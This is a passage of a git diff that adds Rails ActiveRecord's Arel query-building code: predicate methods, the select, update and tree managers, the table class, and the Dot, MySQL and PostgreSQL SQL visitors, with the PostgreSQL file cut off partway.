+  end
+end
diff --git a/activerecord/lib/arel/predications.rb b/activerecord/lib/arel/predications.rb
new file mode 100644
index 0000000000000..09cdcb5423c65
--- /dev/null
+++ b/activerecord/lib/arel/predications.rb
@@ -0,0 +1,260 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Predications
+    def not_eq(other)
+      Nodes::NotEqual.new self, quoted_node(other)
+    end
+
+    def not_eq_any(others)
+      grouping_any :not_eq, others
+    end
+
+    def not_eq_all(others)
+      grouping_all :not_eq, others
+    end
+
+    def eq(other)
+      Nodes::Equality.new self, quoted_node(other)
+    end
+
+    def is_not_distinct_from(other)
+      Nodes::IsNotDistinctFrom.new self, quoted_node(other)
+    end
+
+    def is_distinct_from(other)
+      Nodes::IsDistinctFrom.new self, quoted_node(other)
+    end
+
+    def eq_any(others)
+      grouping_any :eq, others
+    end
+
+    def eq_all(others)
+      grouping_all :eq, quoted_array(others)
+    end
+
+    def between(other)
+      if unboundable?(other.begin) == 1 || unboundable?(other.end) == -1
+        self.in([])
+      elsif open_ended?(other.begin)
+        if open_ended?(other.end)
+          if infinity?(other.begin) == 1 || infinity?(other.end) == -1
+            self.in([])
+          else
+            not_in([])
+          end
+        elsif other.exclude_end?
+          lt(other.end)
+        else
+          lteq(other.end)
+        end
+      elsif open_ended?(other.end)
+        gteq(other.begin)
+      elsif other.exclude_end?
+        gteq(other.begin).and(lt(other.end))
+      elsif other.begin == other.end
+        eq(other.begin)
+      else
+        left = quoted_node(other.begin)
+        right = quoted_node(other.end)
+        Nodes::Between.new(self, Nodes::And.new([left, right]))
+      end
+    end
+
+    def in(other)
+      case other
+      when Arel::SelectManager
+        Arel::Nodes::In.new(self, other.ast)
+      when Enumerable
+        Nodes::In.new self, quoted_array(other)
+      else
+        Nodes::In.new self, quoted_node(other)
+      end
+    end
+
+    def in_any(others)
+      grouping_any :in, others
+    end
+
+    def in_all(others)
+      grouping_all :in, others
+    end
+
+    def not_between(other)
+      if unboundable?(other.begin) == 1 || unboundable?(other.end) == -1
+        not_in([])
+      elsif open_ended?(other.begin)
+        if open_ended?(other.end)
+          if infinity?(other.begin) == 1 || infinity?(other.end) == -1
+            not_in([])
+          else
+            self.in([])
+          end
+        elsif other.exclude_end?
+          gteq(other.end)
+        else
+          gt(other.end)
+        end
+      elsif open_ended?(other.end)
+        lt(other.begin)
+      else
+        left = lt(other.begin)
+        right = if other.exclude_end?
+          gteq(other.end)
+        else
+          gt(other.end)
+        end
+        left.or(right)
+      end
+    end
+
+    def not_in(other)
+      case other
+      when Arel::SelectManager
+        Arel::Nodes::NotIn.new(self, other.ast)
+      when Enumerable
+        Nodes::NotIn.new self, quoted_array(other)
+      else
+        Nodes::NotIn.new self, quoted_node(other)
+      end
+    end
+
+    def not_in_any(others)
+      grouping_any :not_in, others
+    end
+
+    def not_in_all(others)
+      grouping_all :not_in, others
+    end
+
+    def matches(other, escape = nil, case_sensitive = false)
+      Nodes::Matches.new self, quoted_node(other), escape, case_sensitive
+    end
+
+    def matches_regexp(other, case_sensitive = true)
+      Nodes::Regexp.new self, quoted_node(other), case_sensitive
+    end
+
+    def matches_any(others, escape = nil, case_sensitive = false)
+      grouping_any :matches, others, escape, case_sensitive
+    end
+
+    def matches_all(others, escape = nil, case_sensitive = false)
+      grouping_all :matches, others, escape, case_sensitive
+    end
+
+    def does_not_match(other, escape = nil, case_sensitive = false)
+      Nodes::DoesNotMatch.new self, quoted_node(other), escape, case_sensitive
+    end
+
+    def does_not_match_regexp(other, case_sensitive = true)
+      Nodes::NotRegexp.new self, quoted_node(other), case_sensitive
+    end
+
+    def does_not_match_any(others, escape = nil)
+      grouping_any :does_not_match, others, escape
+    end
+
+    def does_not_match_all(others, escape = nil)
+      grouping_all :does_not_match, others, escape
+    end
+
+    def gteq(right)
+      Nodes::GreaterThanOrEqual.new self, quoted_node(right)
+    end
+
+    def gteq_any(others)
+      grouping_any :gteq, others
+    end
+
+    def gteq_all(others)
+      grouping_all :gteq, others
+    end
+
+    def gt(right)
+      Nodes::GreaterThan.new self, quoted_node(right)
+    end
+
+    def gt_any(others)
+      grouping_any :gt, others
+    end
+
+    def gt_all(others)
+      grouping_all :gt, others
+    end
+
+    def lt(right)
+      Nodes::LessThan.new self, quoted_node(right)
+    end
+
+    def lt_any(others)
+      grouping_any :lt, others
+    end
+
+    def lt_all(others)
+      grouping_all :lt, others
+    end
+
+    def lteq(right)
+      Nodes::LessThanOrEqual.new self, quoted_node(right)
+    end
+
+    def lteq_any(others)
+      grouping_any :lteq, others
+    end
+
+    def lteq_all(others)
+      grouping_all :lteq, others
+    end
+
+    def when(right)
+      Nodes::Case.new(self).when quoted_node(right)
+    end
+
+    def concat(other)
+      Nodes::Concat.new self, other
+    end
+
+    def contains(other)
+      Arel::Nodes::Contains.new self, quoted_node(other)
+    end
+
+    def overlaps(other)
+      Arel::Nodes::Overlaps.new self, quoted_node(other)
+    end
+
+    def quoted_array(others)
+      others.map { |v| quoted_node(v) }
+    end
+
+    private
+      def grouping_any(method_id, others, *extras)
+        nodes = others.map { |expr| send(method_id, expr, *extras) }
+        Nodes::Grouping.new nodes.inject { |memo, node|
+          Nodes::Or.new([memo, node])
+        }
+      end
+
+      def grouping_all(method_id, others, *extras)
+        nodes = others.map { |expr| send(method_id, expr, *extras) }
+        Nodes::Grouping.new Nodes::And.new(nodes)
+      end
+
+      def quoted_node(other)
+        Nodes.build_quoted(other, self)
+      end
+
+      def infinity?(value)
+        value.respond_to?(:infinite?) && value.infinite?
+      end
+
+      def unboundable?(value)
+        value.respond_to?(:unboundable?) && value.unboundable?
+      end
+
+      def open_ended?(value)
+        value.nil? || infinity?(value) || unboundable?(value)
+      end
+  end
+end
diff --git a/activerecord/lib/arel/select_manager.rb b/activerecord/lib/arel/select_manager.rb
new file mode 100644
index 0000000000000..dd004b273abb6
--- /dev/null
+++ b/activerecord/lib/arel/select_manager.rb
@@ -0,0 +1,285 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  class SelectManager < Arel::TreeManager
+    include Arel::Crud
+
+    STRING_OR_SYMBOL_CLASS = [Symbol, String]
+
+    def initialize(table = nil)
+      @ast = Nodes::SelectStatement.new(table)
+      @ctx = @ast.cores.last
+    end
+
+    def initialize_copy(other)
+      super
+      @ctx = @ast.cores.last
+    end
+
+    def limit
+      @ast.limit && @ast.limit.expr
+    end
+    alias :taken :limit
+
+    def constraints
+      @ctx.wheres
+    end
+
+    def offset
+      @ast.offset && @ast.offset.expr
+    end
+
+    def skip(amount)
+      if amount
+        @ast.offset = Nodes::Offset.new(amount)
+      else
+        @ast.offset = nil
+      end
+      self
+    end
+    alias :offset= :skip
+
+    ###
+    # Produces an Arel::Nodes::Exists node
+    def exists
+      Arel::Nodes::Exists.new @ast
+    end
+
+    def as(other)
+      create_table_alias grouping(@ast), Nodes::SqlLiteral.new(other, retryable: true)
+    end
+
+    def lock(locking = Arel.sql("FOR UPDATE"))
+      case locking
+      when true
+        locking = Arel.sql("FOR UPDATE")
+      when Arel::Nodes::SqlLiteral
+      when String
+        locking = Arel.sql locking
+      end
+
+      @ast.lock = Nodes::Lock.new(locking)
+      self
+    end
+
+    def locked
+      @ast.lock
+    end
+
+    def on(*exprs)
+      @ctx.source.right.last.right = Nodes::On.new(collapse(exprs))
+      self
+    end
+
+    def group(*columns)
+      columns.each do |column|
+        # FIXME: backwards compat
+        case column
+        when Nodes::SqlLiteral
+        when String
+          column = Nodes::SqlLiteral.new(column)
+        when Symbol
+          column = Nodes::SqlLiteral.new(column.name)
+        end
+
+        @ctx.groups.push Nodes::Group.new column
+      end
+      self
+    end
+
+    def from(table)
+      table = Nodes::SqlLiteral.new(table) if String === table
+
+      case table
+      when Nodes::Join
+        @ctx.source.right << table
+      else
+        @ctx.source.left = table
+      end
+
+      self
+    end
+
+    def froms
+      @ast.cores.filter_map { |x| x.from }
+    end
+
+    def join(relation, klass = Nodes::InnerJoin)
+      return self unless relation
+
+      case relation
+      when String, Nodes::SqlLiteral
+        raise EmptyJoinError if relation.empty?
+        klass = Nodes::StringJoin
+      end
+
+      @ctx.source.right << create_join(relation, nil, klass)
+      self
+    end
+
+    def outer_join(relation)
+      join(relation, Nodes::OuterJoin)
+    end
+
+    def having(expr)
+      @ctx.havings << expr
+      self
+    end
+
+    def window(name)
+      window = Nodes::NamedWindow.new(name)
+      @ctx.windows.push window
+      window
+    end
+
+    def project(*projections)
+      # FIXME: converting these to SQLLiterals is probably not good, but
+      # rails tests require it.
+      @ctx.projections.concat projections.map { |x|
+        STRING_OR_SYMBOL_CLASS.include?(x.class) ? Nodes::SqlLiteral.new(x.to_s) : x
+      }
+      self
+    end
+
+    def projections
+      @ctx.projections
+    end
+
+    def projections=(projections)
+      @ctx.projections = projections
+    end
+
+    def optimizer_hints(*hints)
+      unless hints.empty?
+        @ctx.optimizer_hints = Arel::Nodes::OptimizerHints.new(hints)
+      end
+      self
+    end
+
+    def distinct(value = true)
+      if value
+        @ctx.set_quantifier = Arel::Nodes::Distinct.new
+      else
+        @ctx.set_quantifier = nil
+      end
+      self
+    end
+
+    def distinct_on(value)
+      if value
+        @ctx.set_quantifier = Arel::Nodes::DistinctOn.new(value)
+      else
+        @ctx.set_quantifier = nil
+      end
+      self
+    end
+
+    def order(*expr)
+      # FIXME: We SHOULD NOT be converting these to SqlLiteral automatically
+      @ast.orders.concat expr.map { |x|
+        STRING_OR_SYMBOL_CLASS.include?(x.class) ? Nodes::SqlLiteral.new(x.to_s) : x
+      }
+      self
+    end
+
+    def orders
+      @ast.orders
+    end
+
+    def where(expr)
+      if Arel::TreeManager === expr
+        expr = expr.ast
+      end
+      @ctx.wheres << expr
+      self
+    end
+
+    def where_sql(engine = Table.engine)
+      return if @ctx.wheres.empty?
+
+      Nodes::SqlLiteral.new("WHERE #{Nodes::And.new(@ctx.wheres).to_sql(engine)}")
+    end
+
+    def union(operation, other = nil)
+      if other
+        node_class = Nodes.const_get("Union#{operation.to_s.capitalize}")
+      else
+        other = operation
+        node_class = Nodes::Union
+      end
+
+      node_class.new self.ast, other.ast
+    end
+
+    def intersect(other)
+      Nodes::Intersect.new ast, other.ast
+    end
+
+    def except(other)
+      Nodes::Except.new ast, other.ast
+    end
+    alias :minus :except
+
+    def lateral(table_name = nil)
+      base = table_name.nil? ? ast : as(table_name)
+      Nodes::Lateral.new(base)
+    end
+
+    def with(*subqueries)
+      if subqueries.first.is_a? Symbol
+        node_class = Nodes.const_get("With#{subqueries.shift.to_s.capitalize}")
+      else
+        node_class = Nodes::With
+      end
+      @ast.with = node_class.new(subqueries.flatten)
+
+      self
+    end
+
+    def take(limit)
+      if limit
+        @ast.limit = Nodes::Limit.new(limit)
+      else
+        @ast.limit = nil
+      end
+      self
+    end
+    alias limit= take
+
+    def join_sources
+      @ctx.source.right
+    end
+
+    def source
+      @ctx.source
+    end
+
+    def comment(*values)
+      if values.any?
+        @ctx.comment = Nodes::Comment.new(values)
+        self
+      else
+        @ctx.comment
+      end
+    end
+
+    private
+      def collapse(exprs)
+        exprs = exprs.compact
+        exprs.map! { |expr|
+          if String === expr
+            # FIXME: Don't do this automatically
+            Arel.sql(expr)
+          else
+            expr
+          end
+        }
+
+        if exprs.length == 1
+          exprs.first
+        else
+          create_and exprs
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/arel/table.rb b/activerecord/lib/arel/table.rb
new file mode 100644
index 0000000000000..8569ee869c2cb
--- /dev/null
+++ b/activerecord/lib/arel/table.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  class Table
+    include Arel::FactoryMethods
+    include Arel::AliasPredication
+
+    @engine = nil
+    class << self; attr_accessor :engine; end
+
+    attr_accessor :name
+    attr_reader :table_alias
+
+    def initialize(name, as: nil, klass: nil, type_caster: klass&.type_caster)
+      name = name.name if name.is_a?(Symbol)
+
+      @name = name
+      @klass = klass
+      @type_caster = type_caster
+
+      # Sometime AR sends an :as parameter to table, to let the table know
+      # that it is an Alias.  We may want to override new, and return a
+      # TableAlias node?
+      if as.to_s == @name
+        as = nil
+      end
+      @table_alias = as
+    end
+
+    def alias(name = "#{self.name}_2")
+      Nodes::TableAlias.new(self, name)
+    end
+
+    def from
+      SelectManager.new(self)
+    end
+
+    def join(relation, klass = Nodes::InnerJoin)
+      return from unless relation
+
+      case relation
+      when String, Nodes::SqlLiteral
+        raise EmptyJoinError if relation.empty?
+        klass = Nodes::StringJoin
+      end
+
+      from.join(relation, klass)
+    end
+
+    def outer_join(relation)
+      join(relation, Nodes::OuterJoin)
+    end
+
+    def group(*columns)
+      from.group(*columns)
+    end
+
+    def order(*expr)
+      from.order(*expr)
+    end
+
+    def where(condition)
+      from.where condition
+    end
+
+    def project(*things)
+      from.project(*things)
+    end
+
+    def take(amount)
+      from.take amount
+    end
+
+    def skip(amount)
+      from.skip amount
+    end
+
+    def having(expr)
+      from.having expr
+    end
+
+    def [](name, table = self)
+      name = name.name if name.is_a?(Symbol)
+      name = @klass.attribute_aliases[name] || name if @klass
+      Attribute.new(table, name)
+    end
+
+    def hash
+      # Perf note: aliases and table alias is excluded from the hash
+      #  aliases can have a loop back to this table breaking hashes in parent
+      #  relations, for the vast majority of cases @name is unique to a query
+      @name.hash
+    end
+
+    def eql?(other)
+      self.class == other.class &&
+        self.name == other.name &&
+        self.table_alias == other.table_alias
+    end
+    alias :== :eql?
+
+    def type_cast_for_database(attr_name, value)
+      type_caster.type_cast_for_database(attr_name, value)
+    end
+
+    def type_for_attribute(name)
+      type_caster.type_for_attribute(name)
+    end
+
+    def able_to_type_cast?
+      !type_caster.nil?
+    end
+
+    private
+      attr_reader :type_caster
+  end
+end
diff --git a/activerecord/lib/arel/tree_manager.rb b/activerecord/lib/arel/tree_manager.rb
new file mode 100644
index 0000000000000..783cea0b09445
--- /dev/null
+++ b/activerecord/lib/arel/tree_manager.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  class TreeManager
+    include Arel::FactoryMethods
+
+    module StatementMethods
+      def take(limit)
+        @ast.limit = Nodes::Limit.new(Nodes.build_quoted(limit)) if limit
+        self
+      end
+
+      def offset(offset)
+        @ast.offset = Nodes::Offset.new(Nodes.build_quoted(offset)) if offset
+        self
+      end
+
+      def order(*expr)
+        @ast.orders = expr
+        self
+      end
+
+      def key=(key)
+        @ast.key = if key.is_a?(Array)
+          key.map { |k| Nodes.build_quoted(k) }
+        else
+          Nodes.build_quoted(key)
+        end
+      end
+
+      def key
+        @ast.key
+      end
+
+      def wheres=(exprs)
+        @ast.wheres = exprs
+      end
+
+      def where(expr)
+        @ast.wheres << expr
+        self
+      end
+    end
+
+    attr_reader :ast
+
+    def to_dot
+      collector = Arel::Collectors::PlainString.new
+      collector = Visitors::Dot.new.accept @ast, collector
+      collector.value
+    end
+
+    def to_sql(engine = Table.engine)
+      collector = Arel::Collectors::SQLString.new
+      engine.with_connection do |connection|
+        connection.visitor.accept(@ast, collector).value
+      end
+    end
+
+    def initialize_copy(other)
+      super
+      @ast = @ast.clone
+    end
+  end
+end
diff --git a/activerecord/lib/arel/update_manager.rb b/activerecord/lib/arel/update_manager.rb
new file mode 100644
index 0000000000000..ee86aa30c5dc2
--- /dev/null
+++ b/activerecord/lib/arel/update_manager.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  class UpdateManager < Arel::TreeManager
+    include TreeManager::StatementMethods
+
+    def initialize(table = nil)
+      @ast = Nodes::UpdateStatement.new(table)
+    end
+
+    ###
+    # UPDATE +table+
+    def table(table)
+      @ast.relation = table
+      self
+    end
+
+    def set(values)
+      case values
+      when String, Nodes::BoundSqlLiteral
+        @ast.values = [values]
+      else
+        @ast.values = values.map { |column, value|
+          Nodes::Assignment.new(
+            Nodes::UnqualifiedColumn.new(column),
+            value
+          )
+        }
+      end
+      self
+    end
+
+    def group(columns)
+      columns.each do |column|
+        column = Nodes::SqlLiteral.new(column) if String === column
+        column = Nodes::SqlLiteral.new(column.to_s) if Symbol === column
+
+        @ast.groups.push Nodes::Group.new column
+      end
+
+      self
+    end
+
+    def having(expr)
+      @ast.havings << expr
+      self
+    end
+
+    def comment(value)
+      @ast.comment = value
+      self
+    end
+  end
+end
diff --git a/activerecord/lib/arel/visitors.rb b/activerecord/lib/arel/visitors.rb
new file mode 100644
index 0000000000000..ea55a5e4b7e19
--- /dev/null
+++ b/activerecord/lib/arel/visitors.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require "arel/visitors/visitor"
+require "arel/visitors/to_sql"
+require "arel/visitors/sqlite"
+require "arel/visitors/postgresql"
+require "arel/visitors/mysql"
+require "arel/visitors/dot"
+
+module Arel # :nodoc: all
+  module Visitors
+  end
+end
diff --git a/activerecord/lib/arel/visitors/dot.rb b/activerecord/lib/arel/visitors/dot.rb
new file mode 100644
index 0000000000000..d80d4be9acf11
--- /dev/null
+++ b/activerecord/lib/arel/visitors/dot.rb
@@ -0,0 +1,298 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Visitors
+    class Dot < Arel::Visitors::Visitor
+      class Node # :nodoc:
+        attr_accessor :name, :id, :fields
+
+        def initialize(name, id, fields = [])
+          @name   = name
+          @id     = id
+          @fields = fields
+        end
+      end
+
+      class Edge < Struct.new :name, :from, :to # :nodoc:
+      end
+
+      def initialize
+        super()
+        @nodes      = []
+        @edges      = []
+        @node_stack = []
+        @edge_stack = []
+        @seen       = {}
+      end
+
+      def accept(object, collector)
+        visit object
+        collector << to_dot
+      end
+
+      private
+        def visit_Arel_Nodes_Function(o)
+          visit_edge o, "expressions"
+          visit_edge o, "distinct"
+        end
+
+        def visit_Arel_Nodes_Unary(o)
+          visit_edge o, "expr"
+        end
+
+        def visit_Arel_Nodes_Binary(o)
+          visit_edge o, "left"
+          visit_edge o, "right"
+        end
+
+        def visit_Arel_Nodes_UnaryOperation(o)
+          visit_edge o, "operator"
+          visit_edge o, "expr"
+        end
+
+        def visit_Arel_Nodes_InfixOperation(o)
+          visit_edge o, "operator"
+          visit_edge o, "left"
+          visit_edge o, "right"
+        end
+
+        def visit__regexp(o)
+          visit_edge o, "left"
+          visit_edge o, "right"
+          visit_edge o, "case_sensitive"
+        end
+        alias :visit_Arel_Nodes_Regexp :visit__regexp
+        alias :visit_Arel_Nodes_NotRegexp :visit__regexp
+
+        def visit_Arel_Nodes_Ordering(o)
+          visit_edge o, "expr"
+        end
+
+        def visit_Arel_Nodes_TableAlias(o)
+          visit_edge o, "name"
+          visit_edge o, "relation"
+        end
+
+        def visit_Arel_Nodes_Count(o)
+          visit_edge o, "expressions"
+          visit_edge o, "distinct"
+        end
+
+        def visit_Arel_Nodes_ValuesList(o)
+          visit_edge o, "rows"
+        end
+
+        def visit_Arel_Nodes_StringJoin(o)
+          visit_edge o, "left"
+        end
+
+        def visit_Arel_Nodes_Window(o)
+          visit_edge o, "partitions"
+          visit_edge o, "orders"
+          visit_edge o, "framing"
+        end
+
+        def visit_Arel_Nodes_NamedWindow(o)
+          visit_edge o, "partitions"
+          visit_edge o, "orders"
+          visit_edge o, "framing"
+          visit_edge o, "name"
+        end
+
+        def visit__no_edges(o)
+          # intentionally left blank
+        end
+        alias :visit_Arel_Nodes_CurrentRow :visit__no_edges
+        alias :visit_Arel_Nodes_Distinct :visit__no_edges
+
+        def visit_Arel_Nodes_Extract(o)
+          visit_edge o, "expressions"
+        end
+
+        def visit_Arel_Nodes_NamedFunction(o)
+          visit_edge o, "name"
+          visit_edge o, "expressions"
+          visit_edge o, "distinct"
+        end
+
+        def visit_Arel_Nodes_InsertStatement(o)
+          visit_edge o, "relation"
+          visit_edge o, "columns"
+          visit_edge o, "values"
+          visit_edge o, "select"
+        end
+
+        def visit_Arel_Nodes_SelectCore(o)
+          visit_edge o, "source"
+          visit_edge o, "projections"
+          visit_edge o, "wheres"
+          visit_edge o, "windows"
+          visit_edge o, "groups"
+          visit_edge o, "comment"
+          visit_edge o, "havings"
+          visit_edge o, "set_quantifier"
+          visit_edge o, "optimizer_hints"
+        end
+
+        def visit_Arel_Nodes_SelectStatement(o)
+          visit_edge o, "cores"
+          visit_edge o, "limit"
+          visit_edge o, "orders"
+          visit_edge o, "offset"
+          visit_edge o, "lock"
+          visit_edge o, "with"
+        end
+
+        def visit_Arel_Nodes_UpdateStatement(o)
+          visit_edge o, "relation"
+          visit_edge o, "wheres"
+          visit_edge o, "values"
+          visit_edge o, "orders"
+          visit_edge o, "limit"
+          visit_edge o, "offset"
+          visit_edge o, "comment"
+          visit_edge o, "key"
+        end
+
+        def visit_Arel_Nodes_DeleteStatement(o)
+          visit_edge o, "relation"
+          visit_edge o, "wheres"
+          visit_edge o, "orders"
+          visit_edge o, "limit"
+          visit_edge o, "offset"
+          visit_edge o, "comment"
+          visit_edge o, "key"
+        end
+
+        def visit_Arel_Table(o)
+          visit_edge o, "name"
+        end
+
+        def visit_Arel_Nodes_Casted(o)
+          visit_edge o, "value"
+          visit_edge o, "attribute"
+        end
+
+        def visit_Arel_Nodes_HomogeneousIn(o)
+          visit_edge o, "values"
+          visit_edge o, "type"
+          visit_edge o, "attribute"
+        end
+
+        def visit_Arel_Attributes_Attribute(o)
+          visit_edge o, "relation"
+          visit_edge o, "name"
+        end
+
+        def visit__children(o)
+          o.children.each_with_index do |child, i|
+            edge(i) { visit child }
+          end
+        end
+        alias :visit_Arel_Nodes_And :visit__children
+        alias :visit_Arel_Nodes_Or :visit__children
+        alias :visit_Arel_Nodes_With :visit__children
+
+        def visit_String(o)
+          @node_stack.last.fields << o
+        end
+        alias :visit_Time :visit_String
+        alias :visit_Date :visit_String
+        alias :visit_DateTime :visit_String
+        alias :visit_NilClass :visit_String
+        alias :visit_TrueClass :visit_String
+        alias :visit_FalseClass :visit_String
+        alias :visit_Integer :visit_String
+        alias :visit_BigDecimal :visit_String
+        alias :visit_Float :visit_String
+        alias :visit_Symbol :visit_String
+        alias :visit_Arel_Nodes_SqlLiteral :visit_String
+
+        def visit_Arel_Nodes_BindParam(o)
+          visit_edge(o, "value")
+        end
+
+        def visit_ActiveModel_Attribute(o)
+          visit_edge(o, "value_before_type_cast")
+        end
+
+        def visit_Hash(o)
+          o.each_with_index do |pair, i|
+            edge("pair_#{i}") { visit pair }
+          end
+        end
+
+        def visit_Array(o)
+          o.each_with_index do |member, i|
+            edge(i) { visit member }
+          end
+        end
+        alias :visit_Set :visit_Array
+
+        def visit_Arel_Nodes_Comment(o)
+          visit_edge(o, "values")
+        end
+
+        def visit_Arel_Nodes_Case(o)
+          visit_edge(o, "case")
+          visit_edge(o, "conditions")
+          visit_edge(o, "default")
+        end
+
+        def visit_edge(o, method)
+          edge(method) { visit o.send(method) }
+        end
+
+        def visit(o)
+          if node = @seen[o.object_id]
+            @edge_stack.last.to = node
+            return
+          end
+
+          node = Node.new(o.class.name, o.object_id)
+          @seen[node.id] = node
+          @nodes << node
+          with_node node do
+            super
+          end
+        end
+
+        def edge(name)
+          edge = Edge.new(name, @node_stack.last)
+          @edge_stack.push edge
+          @edges << edge
+          yield
+          @edge_stack.pop
+        end
+
+        def with_node(node)
+          if edge = @edge_stack.last
+            edge.to = node
+          end
+
+          @node_stack.push node
+          yield
+          @node_stack.pop
+        end
+
+        def quote(string)
+          string.to_s.gsub('"', '\"')
+        end
+
+        def to_dot
+          "digraph \"Arel\" {\nnode [width=0.375,height=0.25,shape=record];\n" +
+            @nodes.map { |node|
+              label = "<f0>#{node.name}"
+
+              node.fields.each_with_index do |field, i|
+                label += "|<f#{i + 1}>#{quote field}"
+              end
+
+              "#{node.id} [label=\"#{label}\"];"
+            }.join("\n") + "\n" + @edges.map { |edge|
+              "#{edge.from.id} -> #{edge.to.id} [label=\"#{edge.name}\"];"
+            }.join("\n") + "\n}"
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/visitors/mysql.rb b/activerecord/lib/arel/visitors/mysql.rb
new file mode 100644
index 0000000000000..937aa96da9163
--- /dev/null
+++ b/activerecord/lib/arel/visitors/mysql.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Visitors
+    class MySQL < Arel::Visitors::ToSql
+      private
+        def visit_Arel_Nodes_Bin(o, collector)
+          collector << "CAST("
+          visit o.expr, collector
+          collector << " AS BINARY)"
+        end
+
+        def visit_Arel_Nodes_UnqualifiedColumn(o, collector)
+          visit o.expr, collector
+        end
+
+        ###
+        # :'(
+        # To retrieve all rows from a certain offset up to the end of the result set,
+        # you can use some large number for the second parameter.
+        # https://dev.mysql.com/doc/refman/en/select.html
+        def visit_Arel_Nodes_SelectStatement(o, collector)
+          if o.offset && !o.limit
+            o.limit = Arel::Nodes::Limit.new(18446744073709551615)
+          end
+          super
+        end
+
+        def visit_Arel_Nodes_SelectCore(o, collector)
+          o.froms ||= Arel.sql("DUAL", retryable: true)
+          super
+        end
+
+        def visit_Arel_Nodes_Concat(o, collector)
+          collector << " CONCAT("
+          visit o.left, collector
+          collector << ", "
+          visit o.right, collector
+          collector << ") "
+          collector
+        end
+
+        def visit_Arel_Nodes_IsNotDistinctFrom(o, collector)
+          collector = visit o.left, collector
+          collector << " <=> "
+          visit o.right, collector
+        end
+
+        def visit_Arel_Nodes_IsDistinctFrom(o, collector)
+          collector << "NOT "
+          visit_Arel_Nodes_IsNotDistinctFrom o, collector
+        end
+
+        def visit_Arel_Nodes_Regexp(o, collector)
+          infix_value o, collector, " REGEXP "
+        end
+
+        def visit_Arel_Nodes_NotRegexp(o, collector)
+          infix_value o, collector, " NOT REGEXP "
+        end
+
+        def visit_Arel_Nodes_NullsFirst(o, collector)
+          visit(o.expr.expr, collector) << " IS NOT NULL, "
+          visit(o.expr, collector)
+        end
+
+        def visit_Arel_Nodes_NullsLast(o, collector)
+          visit(o.expr.expr, collector) << " IS NULL, "
+          visit(o.expr, collector)
+        end
+
+        def visit_Arel_Nodes_Cte(o, collector)
+          collector << quote_table_name(o.name)
+          collector << " AS "
+          visit o.relation, collector
+        end
+
+        # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
+        # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support
+        # these, we must use a subquery.
+        def prepare_update_statement(o)
+          if o.offset || has_group_by_and_having?(o) ||
+            has_join_sources?(o) && has_limit_or_offset_or_orders?(o)
+            super
+          else
+            o
+          end
+        end
+        alias :prepare_delete_statement :prepare_update_statement
+
+        # MySQL doesn't automatically create a temporary table for use subquery, so we have
+        # to give it some prompting in the form of a subsubquery.
+        def build_subselect(key, o)
+          subselect = super
+
+          # Materialize subquery by adding distinct
+          # to work with MySQL 5.7.6 which sets optimizer_switch='derived_merge=on'
+          unless has_limit_or_offset_or_orders?(subselect)
+            core = subselect.cores.last
+            core.set_quantifier = Arel::Nodes::Distinct.new
+          end
+
+          Nodes::SelectStatement.new.tap do |stmt|
+            core = stmt.cores.last
+            core.froms = Nodes::Grouping.new(subselect).as("__active_record_temp")
+            core.projections = [Arel.sql(quote_column_name(key.name), retryable: true)]
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/visitors/postgresql.rb b/activerecord/lib/arel/visitors/postgresql.rb
new file mode 100644
index 0000000000000..7603e6a53bdee
--- /dev/null
+++ b/activerecord/lib/arel/visitors/postgresql.rb
@@ -0,0 +1,154 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Visitors
+    class PostgreSQL < Arel::Visitors::ToSql
+      private
+        def visit_Arel_Nodes_UpdateStatement(o, collector)
+          collector.retryable = false
+          o = prepare_update_statement(o)
+
+          collector << "UPDATE "
+
+          # UPDATE with JOIN is in the form of:
+          #
+          #   UPDATE t1 AS __active_record_update_alias
+          #   SET ..
+          #   FROM t1 JOIN t2 ON t2.join_id = t1.join_id ..
+          #   WHERE t1.id = __active_record_update_alias.id AND ..
+          if has_join_sources?(o)
+            collector = visit o.relation.left, collector
+            collect_nodes_for o.values, collector, " SET "
+            collector << " FROM "
+            collector = inject_join o.relation.right, collector, " "
+          else
+            collector = visit o.relation, collector
+            collect_nodes_for o.values, collector, " SET "
+          end
+
+          collect_nodes_for o.wheres, collector, " WHERE ", " AND "
+          collect_nodes_for o.orders, collector, " ORDER BY "
+          maybe_visit o.limit, collector
+          maybe_visit o.comment, collector
+        end
+
+        # In the simple case, PostgreSQL allows us to place FROM or JOINs directly into the UPDATE
+        # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support
+        # these, we must use a subquery.
+        def prepare_update_statement(o)
+          if o.key && has_join_sources?(o) && !has_group_by_and_having?(o) && !has_limit_or_offset_or_orders?(o)
+            # Join clauses cannot reference the target table, so alias the
+            # updated table, place the entire relation in the FROM clause, and
+            # add a self-join (which requires the primary key)
+            stmt = o.clone
+            stmt.relation, stmt.wheres = o.relation.clone, o.wheres.clone
+            stmt.relation.right = [stmt.relation.left, *stmt.relation.right]
+            stmt.relation.left = stmt.relation.left.alias("__active_record_update_alias")
+            Array.wrap(o.key).each do |key|
+              stmt.wheres << key.eq(stmt.relation.left[key.name])
+            end
+            stmt
+          else
+            super
+          end
+        end
+
+        def visit_Arel_Nodes_Matches(o, collector)
+          op = o.case_sensitive ? " LIKE " : " ILIKE "
+          collector = infix_value o, collector, op
+          if o.escape
+            collector << " ESCAPE "
+            visit o.escape, collector
+          else
+            collector
+          end
+        end
+
+        def visit_Arel_Nodes_DoesNotMatch(o, collector)
+          op = o.case_sensitive ? " NOT LIKE " : " NOT ILIKE "
+          collector = infix_value o, collector, op
+          if o.escape
+            collector << " ESCAPE "
+            visit o.escape, collector
+          else
+            collector
+          end
+        end
+
+        def visit_Arel_Nodes_Regexp(o, collector)
+          op = o.case_sensitive ? " ~ " : " ~* "
